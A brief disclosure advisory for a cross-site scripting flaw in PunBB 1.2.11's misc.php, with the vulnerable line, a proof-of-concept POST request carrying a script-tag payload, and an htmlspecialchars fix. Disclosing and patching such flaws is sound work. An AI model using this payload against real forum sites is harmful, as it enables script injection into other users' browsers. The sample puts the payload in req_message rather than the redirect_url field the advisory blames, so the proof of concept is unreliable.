PunBB 1.2.11 Cross-Site Scripting
File name :- misc.php
Action :- Send Email
Line :- 123
[php]
redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']);
[/php]
The $_POST['redirect_url'] = Unfilter Input
Exploit :-
Send POST Request
[code]
GET :-
/PunBB/misc.php?email=2
POST :-
form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><script>alert(1);</script>
[/code]
Fix :-
Replace The Line With :-
[php]
redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent
redirect']);
[/php]
